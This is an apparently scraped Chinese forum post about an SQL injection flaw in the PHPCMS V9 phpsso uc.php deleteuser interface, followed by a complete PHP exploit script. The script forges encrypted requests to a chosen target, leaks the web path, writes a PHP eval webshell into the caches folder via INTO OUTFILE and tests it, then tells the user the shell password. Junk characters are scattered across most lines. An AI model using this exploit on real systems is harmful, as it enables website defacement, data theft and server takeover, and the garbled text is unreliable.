PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
" g9 W) S/ y6 r8 K" ]# A' l# b" P( `5 @1 E
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
! o8 v* h l. N
4 h8 T i5 e8 t2 m- q3 q漏洞分析:
" a9 J" u/ ]4 ]4 k) \# w: }1.未启用ucenter服务的情况下uc_key为空
) r$ P2 P2 N2 E9 T* odefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
" d9 _6 L% ], a6 x4 T2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。! H2 b. W b6 S" Y- X
public function deleteuser($get,$post) {) |/ N" D/ Q, D- R; D1 s
pc_base::load_app_func('global', 'admin');) K6 q" g* E: v5 P) q D
pc_base::load_app_class('messagequeue', 'admin' , 0);9 g% r9 _/ |& V2 W4 w8 Y) a& Q6 \
$ids = new_stripslashes($get['ids']);
& `0 p) @ ?& B3 b3 p/ q9 R $s = $this->member_db->select("ucuserid in ($ids)", "uid");
/ a" }9 d# q% |" \0 Q+ X1 ]SQL语句为
! b& Z* @/ Q1 f! n8 ]* m2 GSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)3 w) w% { w( g& t* V, b" {
2 F5 ^; X$ J$ M0 }$ q3 r利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell, T( a3 e9 x9 H5 H+ q# }
<?php
" u/ v) t% h- q( D; e3 @4 W/ v3 y! fprint_r('/ ^. {% A; L6 j r p, R; Q
---------------------------------------------------------------------------6 o/ G) P% | [$ k& K l% `0 d2 k
PHPcms (v9 or Old Version) uc api sql injection 0day* H9 ]% `" d9 j- U' M
by rayh4c#80sec.com5 G' M( P! @; F5 w
---------------------------------------------------------------------------+ t! M) @% b5 F& D9 A# X
');! `3 _1 S6 ^1 U( z+ R
; s# E" U1 `; \7 M! P$ t- M7 Iif ($argc<3) {' J' p7 t6 X! d. F
print_r('
* r! S1 D0 l4 E! Z% B1 `---------------------------------------------------------------------------" m+ T) W- G& h& }$ V6 n t3 @, O
Usage: php '.$argv[0].' host path OPTIONS
; k% P5 r. W# `3 d* Khost: target server (ip/hostname)
2 W8 [& I! l: W. `0 | G+ o" Dpath: path to phpcms
& o* r: V# d! xOptions:
+ m6 ]. V6 b7 K6 s& }) } -p[port]: specify a port other than 80
- U! B! o1 E% Z& H -P[ip:port]: specify a proxy
/ c/ I* L0 l7 H: }' a7 FExample:
( V4 N: J" a ^& b1 | Aphp '.$argv[0].' localhost /% l! J, [2 t5 I
php '.$argv[0].' localhost /phpcms/ -p816 e9 M, ~6 B2 L5 T) i1 M+ @
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80( K0 E- k2 J+ _( d! Y0 e( ^, c2 a
---------------------------------------------------------------------------
! G7 A4 s2 Y: _8 j5 f) F* m+ N');
; j8 e K) e1 e die;
5 J5 P) k! Z8 J; v# X6 \}
1 V t7 c" V( R
! j+ ]+ v& W* R( T) D2 _error_reporting(7);2 w2 B( L% X3 e$ @( k- F
ini_set("max_execution_time",0);8 G+ t+ c7 t! B. I* Y/ Y) `4 @
ini_set("default_socket_timeout",5);
0 N/ M3 ~+ v; _+ r$ e
9 A5 |: g+ Y# W+ U& G1 }function quick_dump($string)1 X3 D9 o+ i& u4 [/ Q) d6 N
{
2 U4 x2 l; P$ m0 b, V8 I* j0 ` $result='';$exa='';$cont=0;
# s8 `' }. F( E: [5 s9 |8 h6 w, a for ($i=0; $i<=strlen($string)-1; $i++)
+ {, W3 O1 S$ [ _) p( J1 E6 G% N" } {" y8 y3 [& a7 l: Y9 ?7 J' i' m
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
* t. L/ {" v0 A2 r3 z6 @8 F2 W {$result.=" .";}8 ^8 T0 r* i/ k( T
else+ D/ J- C* P4 a7 b8 `
{$result.=" ".$string[$i];}3 Z; z+ t$ Y! \* K" ^
if (strlen(dechex(ord($string[$i])))==2)5 Q, B* g+ g$ L+ {( C; |
{$exa.=" ".dechex(ord($string[$i]));}
. D' b0 V" h% m2 Q* t' Z) W/ C else
) V0 _) M e& j9 ] {$exa.=" 0".dechex(ord($string[$i]));}
5 \: S9 E, ^$ [5 X/ l $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
4 c8 ~6 l8 q7 c/ \; c9 R2 N1 h }
; O! ^, f7 v! d7 P, I/ }& } return $exa."\r\n".$result;
4 b: B! m6 `/ X. x* O0 \}& y# f' Q3 F$ ?4 s6 A2 O3 {
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';6 ]2 b8 m: p5 ]% `# G+ K; x4 n
" i1 `# H& L% U% ofunction send($packet)
$ V' X! s: c8 @" F{
# s+ A/ d9 Z$ c2 z global $proxy, $host, $port, $html, $proxy_regex;
! C8 ]0 C# k$ V# T4 y if ($proxy=='') {& ]' c; d1 C* [5 O! y
$ock=fsockopen(gethostbyname($host),$port);
2 i+ q* b( K9 r$ T2 T! g" E if (!$ock) {
; j' P( }, h9 X7 @ echo 'No response from '.$host.':'.$port; die;. Z% b x V& r7 `
}
& i) v! E# {* B) T/ J' n' J }' F+ Z3 K3 @% `2 E" E
else {2 w: w3 a0 m% x4 g; z
$c = preg_match($proxy_regex,$proxy);
, H: H% }8 W' B( @/ t if (!$c) {3 P+ o' i& o0 u
echo 'Not a valid proxy...';die;5 g, H4 c3 {7 C
}$ u1 s8 a$ a( `% I
$parts=explode(':',$proxy);
# F8 ~! g, J! `# u" V# J $parts[1]=(int)$parts[1];" z" ]% j( E8 }4 J
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
5 x T5 n5 B5 ` $ock=fsockopen($parts[0],$parts[1]);: z: d6 |+ P9 G
if (!$ock) {& W7 d! \1 q$ N; l7 }) O# P
echo 'No response from proxy...';die;, e) p0 Y+ A! G, i8 b9 i3 L8 l
}
, {4 R" Q; }# Z# E2 J }2 P: e1 _' ^0 W( N6 |: c8 y
fputs($ock,$packet);" }$ F+ q r' l$ O5 P! h4 y& ?
if ($proxy=='') {
2 P* h) \+ M9 u; c0 W! e4 A $html='';# M* @9 k5 p+ s% d+ x B% g
while (!feof($ock)) {
5 }& Z5 l+ a9 c3 W$ O* \ $html.=fgets($ock);
8 s3 l1 N* V, ^4 }0 T/ k$ b }+ A5 @7 @% ]- ?5 ]* o1 e# V
}
+ B7 X0 O# U: Q T+ z% x: _/ F else {
! E+ C2 m" t. m- a9 e $html='';
/ J3 F% G+ E3 v8 k" s4 K while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { l; r/ f# ], L+ O& \1 m" b
$html.=fread($ock,1);8 L! P7 G ]5 I) z& i/ r; ]7 k
}
; h8 Z0 C* t3 ?+ {5 N/ c5 M }! B8 \$ N Z% _. L) L
fclose($ock);6 Y8 o Y$ u$ | p6 h3 r
}
* n6 m* [2 O0 H; k- d3 V. i+ z0 u; a* n7 L3 a2 t8 k r6 A* R
$host=$argv[1];1 k0 A' G9 m* k7 ?1 u+ e
$path=$argv[2];
" c9 _3 e7 B7 r, j0 N6 K& W+ S$port=80;) O' d' B" D, v# O6 q; V3 E3 V
$proxy="";* }5 I% Y4 s; [& v7 Z
for ($i=3; $i<$argc; $i++){ n) q& K3 x; J, |' g
$temp=$argv[$i][0].$argv[$i][1];" N! X/ E8 [. S7 I
if ($temp=="-p")$ a; i4 f2 ]4 y* y! K! }. c
{0 A f7 b2 H G# _
$port=(int)str_replace("-p","",$argv[$i]);; E) M& P/ P( q0 p
}
! Y- }: W! \* ]+ tif ($temp=="-P")4 M2 d: S! M& w Z5 b7 `" t2 I
{
( H% m% k& |5 a3 H3 Z/ o $proxy=str_replace("-P","",$argv[$i]);
; ?+ x3 S( T" f& W}# n) J6 _& X' {6 V8 D
}9 a# p5 [8 z- ^( ^6 t# t7 G
+ c: Q# Q4 y' uif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}; e" w* @3 Y+ d" T/ A1 e" y( L o7 ]
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}9 M, L4 e, B7 E! f% @' l g6 K, I
$ r/ p. ^4 F' {function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
! `! [9 I) K7 c' H, Z2 o; C
9 X8 U9 c+ X1 s O! C' e $ckey_length = 4;- y: l2 G' w5 ?* ?0 w! k
6 m/ P) w# I9 X$ ^) y) H" |, [
$key = md5($key ? $key : '');
! G$ X% h8 ?* C1 U, u $keya = md5(substr($key, 0, 16));# X+ {5 ^: G' N, x8 A7 n
$keyb = md5(substr($key, 16, 16));
. Z5 W4 s) ]8 ` j, e $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';# ?3 k% y! x. g4 F6 @& {$ l2 w* p1 u
1 n9 U# J. i* r, Y8 U0 @1 I# \9 M) {
$cryptkey = $keya.md5($keya.$keyc);
7 l. c8 v( w' N $key_length = strlen($cryptkey);
8 I8 p8 |# p0 X+ D! ]- _7 a$ T8 Y- V. ~! q5 V1 i
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;7 u! d" A% ~' L6 i6 r9 `( k
$string_length = strlen($string);
7 X1 p# B( K0 s- f' N6 h3 ^- J$ }9 y! P6 [8 P9 \ ` [6 s
$result = '';
6 s2 h. {1 I, ?/ l+ g7 }1 R. ` $box = range(0, 255);. \ u% D* ]3 D5 E$ H* {) s
( p' N2 T: T9 F+ O6 w: f
$rndkey = array();
0 j4 b( a6 a! S" {3 \ for($i = 0; $i <= 255; $i++) {
' {: v2 C- }0 |$ n $rndkey[$i] = ord($cryptkey[$i % $key_length]); ?+ ]- X2 h/ Q. s3 C3 |& A1 s% p
}8 _6 E/ a) \0 M/ E- E; g
2 L6 c- Z% ~5 }# U7 G, ]
for($j = $i = 0; $i < 256; $i++) {
) Q+ z" G: K! M/ H) h3 G9 O% c $j = ($j + $box[$i] + $rndkey[$i]) % 256;
4 Z6 U' V( _0 _( r $tmp = $box[$i];4 C4 k! x4 V q7 t, I" d# S7 D
$box[$i] = $box[$j];1 l8 X1 |1 h4 D* S' [/ D! ?% U
$box[$j] = $tmp;
$ c+ B B9 ]" r( } k" r+ w; \; z }' H8 n/ Q c4 z
0 d* j! L" A/ _6 B for($a = $j = $i = 0; $i < $string_length; $i++) {
4 y+ `( m" g9 i $a = ($a + 1) % 256;
2 i( o8 ], q, K5 s+ J7 z5 x $j = ($j + $box[$a]) % 256;& A0 Q( }2 z5 C3 S4 ~7 {
$tmp = $box[$a];. f8 Q7 |+ o* {7 @+ G' u3 u
$box[$a] = $box[$j];) ?5 X0 U& f% s/ \, n/ ?4 ]. R
$box[$j] = $tmp;7 x5 i ]) ], h7 M. u% @( p9 ?
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
( ~0 K3 z9 ^7 ~1 `# a }) [# ?8 `' @- i+ s
! S& @, c- d* f8 }4 Q if($operation == 'DECODE') {
& L! f; i7 Q& M) @# Y* H if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {# X0 t. U6 E j# P! k1 Z, v
return substr($result, 26);
# q1 y- w, W- S* s' X5 f% q } else {
1 P# y% |8 ]$ B$ E9 B) a return '';
& {" V9 z# a7 o% L1 I+ [" @ }
) z/ T0 x' J8 q* C; [ } else {
0 B+ S9 Q/ t1 ~& K return $keyc.str_replace('=', '', base64_encode($result));" [2 |& _, `4 R
}
1 @0 ]$ @9 D, h' v3 c! S
; S" f" Q5 R: q' S}& A3 G" `& M. C/ Z' Q6 T g7 L
; K) U! Z) @) e! q" a5 ^ o
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
4 j; o3 z' f# d; h. v3 b1 N" `! Q$SQL = urlencode(authcode($SQL, "ENCODE", ""));
2 G& e. q* ^& D k1 q0 oecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";3 }, k+ I1 `0 ] l& S5 C5 Z1 b1 A, r4 Z
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
% Y( p- ]1 a& q4 ]0 m0 I. z, Q$packet.="User-Agent: Mozilla/5.0\r\n";
) Q9 |( W& T3 {- v3 M$packet.="Host: ".$host."\r\n";
2 `; p R( p) ~$packet.="Connection: Close\r\n\r\n";. \; a8 r1 s1 ~ m
send($packet);
3 {& A+ U+ s3 ^. \1 ?0 f, f/ |if(strpos($html,"MySQL Errno") > 0){4 G) `0 W% Y2 Q5 R8 W
echo "[2] 发现存在SQL注入漏洞"."\n";
+ n9 H# |" D0 `8 X, q( \% Decho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
8 F4 |# p" F# o$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";. n( K# ^. N: `& O* `; f; k7 O
$packet.="User-Agent: Mozilla/5.0\r\n";
" P, J N( r4 O' A7 x/ Y: d, n& ~. c$packet.="Host: ".$host."\r\n";
7 t) _3 [! T% _; G; H/ M$packet.="Connection: Close\r\n\r\n";6 x# h* F! N& F, @7 i4 k
send($packet);
& B( r/ R9 n! G4 Z1 Epreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
4 |. |" Z% Z# z7 ^9 R//print_r($matches);
# E) @* [8 `8 Aif(!empty($matches)){- A* |6 E$ O/ K5 Y
echo "[4] 得到web路径 " . $matches[0]."\n";
5 y$ W, R1 T8 r% Q* y3 q0 ]: cecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
/ p, q5 S, G6 e8 R5 E3 |# z$SQL = "time=999999999999999999999999&ids=1)";
) ^( I/ w' L7 {% m$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";- @0 w# E, z# A2 a y/ G% J
$SQL.="&action=deleteuser";$ k5 o! t8 x9 T7 y9 P6 L
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
6 D" N. @# G% [* lecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
y* [: m( I& H2 c5 [4 F& J$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";( m* [4 x. d3 S5 t2 [0 a* n0 |- X
$packet.="User-Agent: Mozilla/5.0\r\n";1 v# T6 S# [( ?9 u1 _- M( `% L& q
$packet.="Host: ".$host."\r\n";
, j% X8 H3 Y- {% s* R" _$packet.="Connection: Close\r\n\r\n";" U- s3 p$ `; v6 Y: D) r
send($packet);
. l1 \6 z* \2 q3 x( Sif(strpos($html,"Access denied") > 0){
6 W/ p( S* ?9 {, secho "[-] MYSQL权限过低 禁止写入文件 ";" |# p) Q( C: [
die;4 H" t" z# ~0 R) ]3 O
}
1 a$ n3 @3 W% z/ Q" R9 z! |+ fecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
1 u5 N+ u& V9 B/ i2 _4 U$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";4 N2 w+ x% V: l* n% U+ P6 j
$packet.="User-Agent: Mozilla/5.0\r\n";' w4 Y. } ~* a6 G* m! f
$packet.="Host: ".$host."\r\n";% }9 D& L/ `8 w
$packet.="Connection: Close\r\n\r\n";
: ^% y5 T! g$ N- B" e" Z+ Xsend($packet);6 f' n" X7 D$ ^) q
if(strpos($html,"<title>phpinfo()</title>") > 0){
) a% B4 ~4 u! J( u1 aecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
+ w* M! t. j. E}
" l/ ], l- }' H- c, A, u f/ Y, n}else{3 @9 R7 }! _9 u! E+ S: K
echo "[-]未取到web路径 ";
4 t8 w1 y+ N$ [- X4 j! {}1 ]( \3 u7 j9 ]! w9 z2 r. @2 d
}else{
) r8 `+ Q& e# ?echo "[*]不存在SQL注入漏洞"."\n";
8 ~7 l# ~. p9 D}7 n7 `5 T. i, Z' }7 v; N: i
/ g, N: `8 I7 P$ [8 @?>; z$ N- M0 A3 L- K! z6 [1 N$ L
|